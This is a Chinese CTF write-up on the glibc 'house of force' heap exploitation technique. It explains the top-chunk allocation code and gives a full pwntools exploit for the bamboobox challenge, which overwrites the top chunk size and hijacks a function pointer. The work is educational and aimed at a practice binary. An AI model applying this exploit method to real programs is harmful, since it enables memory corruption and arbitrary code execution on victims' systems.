一种修改top chunk的地址来获取低地址处内存空间的chunk的办法
复习一下chunk的申请办法 是先判断bin中是否有符合大小的chunk 如果没有再去top chunk分配
top chunk的分配办法是在top chunk顶部分配出一个空间 随后top chunk的位置向高地址处增加
这一过程我们来看一下源码是如何实现的
victim = av->top;//获取当前top chunk的地址 size = chunksize (victim);//获取当前top chunk的大小
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) //MINSIZE就是堆块的最小size,32位程序为0x10,64位程序为0x20 //nb为实际要获取的chunk大小(申请的大小加上MINSIZE) //判断式是为了保证top chunk有足够大小的空间来供此次申请 //之所以要加上MINSIZE是因为为了确保申请完chunk后 top chunk还能保持完整的chunk结构 { remainder_size = size - nb;//remainder_size为分配chunk后的top chunk大小 remainder = chunk_at_offset (victim, nb);//remainder为分配完后的top chunk地址 av->top = remainder;//更新top chunk //下面两个set_head给分配出去的堆块以及分配后的top chunk设置新的size set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);//无关 忽略 void *p = chunk2mem (victim);//无关 忽略 alloc_perturb (p, bytes); return p; }首先我们需要绕过 size >= nb + MINSIZE 这个判断式 使其结果为True 才能进入if分支
我们在进行house of force漏洞利用的时候 nb通常都是负数(下面会讲 这里先知道个大概就行) 而你也可以在源码中看到 nb在计算时是被当作一个无符号正数看待的 也就是说计算机遇到负数nb时会将其转化成补码(我在计组原理的文章中有提及)这会使得nb成为一个很庞大的数
所以我们需要让top chunk的size也作为一个负数 并且这个负数的补码要是所有负数中最大的(或者大于nb即可)
所以这里通过堆溢出覆盖top chunk的size为0xffffffffffffffff 也就是-1即可
接着就是if分支中设置top chunk新的地址的算式
remainder = chunk_at_offset (victim, nb) 相当于 victim+nb=top_chunk
原本的top chunk地址加上实际上要分配的大小等于新的top chunk地址
而nb = request_size + MINSIZE top_chunk = request_addr - MINSIZE
所以request_size = request_addr - oldtopchunk_addr - 2*MINSIZE
接下来我们用一道例题加深一下理解
hitcontraining_bamboobox#
checksec看一下保护机制
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)ida看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp){ void (**v4)(void); // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); v4 = malloc(0x10uLL); *v4 = hello_message; v4[1] = goodbye_message; (*v4)(); while ( 1 ) { menu(); read(0, buf, 8uLL); switch ( atoi(buf) ) { case 1: show_item(); break; case 2: add_item(); break; case 3: change_item(); break; case 4: remove_item(); break; case 5: v4[1](); exit(0); default: puts("invaild choice!!!"); break; } }}常规的菜单题 给了输出chunk内容的机会 释放chunk的时候一同置零了指针 不存在UAF漏洞
具体来看一下main函数开头的几行代码
v4 = malloc(0x10uLL);*v4 = hello_message;v4[1] = goodbye_message;(*v4)();申请了0x10大小的chunk 依次存放了hello_message的地址和goodbye_message的地址
并且先执行了hello_message
int hello_message(){ puts("There is a box with magic"); return puts("what do you want to do in the box");}而goodbye_message在我们选择退出程序后的分支执行
int goodbye_message(){ puts("See you next time"); return puts("Thanks you");}并且程序还给了一个magic函数 可以直接输出flag信息
void __noreturn magic(){ int fd; // [rsp+Ch] [rbp-74h] char buf[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u); fd = open("/home/bamboobox/flag", 0); read(fd, buf, 0x64uLL); close(fd); printf("%s", buf); exit(0);}所以思路就是覆盖v4这个chunk中的goodbye_message 使其为magic函数地址
为了重复申请到v4这个chunk 就需要我们调整top chunk的地址 使其为v4 chunk的地址 这样再次申请一个chunk就达成目的
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",25692)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")libc = ELF("buu_libc_ubuntu16_64")
def add(size,name): io.recvuntil("Your choice:") io.sendline(b'2') io.recvuntil("Please enter the length of item name:") io.sendline(str(size)) io.recvuntil("Please enter the name of item:") io.send(name)
def delete(index): io.recvuntil("Your choice:") io.sendline(b'4') io.recvuntil("Please enter the index of item:") io.sendline(str(index)) io.recvuntil("remove successful!!")
def edit(index,size,name): io.recvuntil("Your choice:") io.sendline(b'3') io.recvuntil("Please enter the index of item:") io.sendline(str(index)) io.recvuntil("Please enter the length of item name:") io.sendline(str(size)) io.recvuntil("Please enter the new name of the item:") io.send(name)
def show(): io.recvuntil("Your choice:") io.sendline(b'1')
add(0x30,b'aaaa')payload = cyclic(0x38)+p64(0xffffffffffffffff)edit(0,len(payload),payload)magic_addr = 0x400d49payload = cyclic(0x8)+p64(magic_addr)add(-0x70,b'aaaa')此时我们看一下chunk布局

可以看到top chunk已经调整到了原先v4chunk的位置 我们再次申请一个chunk 看看
add(0x10,b'aaaaaaaa'*2)
可以看到成功覆盖
那么我们把垃圾数据换成magic函数的地址
就可以实现flag的泄露(不过你打buu远程不能用这种办法 他docker没还原环境)
完整exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",25692)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")libc = ELF("buu_libc_ubuntu16_64")
def add(size,name): io.recvuntil("Your choice:") io.sendline(b'2') io.recvuntil("Please enter the length of item name:") io.sendline(str(size)) io.recvuntil("Please enter the name of item:") io.send(name)
def delete(index): io.recvuntil("Your choice:") io.sendline(b'4') io.recvuntil("Please enter the index of item:") io.sendline(str(index)) io.recvuntil("remove successful!!")
def edit(index,size,name): io.recvuntil("Your choice:") io.sendline(b'3') io.recvuntil("Please enter the index of item:") io.sendline(str(index)) io.recvuntil("Please enter the length of item name:") io.sendline(str(size)) io.recvuntil("Please enter the new name of the item:") io.send(name)
def show(): io.recvuntil("Your choice:") io.sendline(b'1')
add(0x30,b'aaaa')payload = cyclic(0x38)+p64(0xffffffffffffffff)edit(0,len(payload),payload)magic_addr = 0x400d49payload = cyclic(0x8)+p64(magic_addr)add(-0x70,b'aaaa')add(0x10,payload)io.recvuntil("Your choice:")io.sendline(b'5')io.recv()
总结一下 house of force适用于
有堆溢出 没有对申请chunk的大小做过多限制 可以获取top chunk地址低地址处的任意写的机会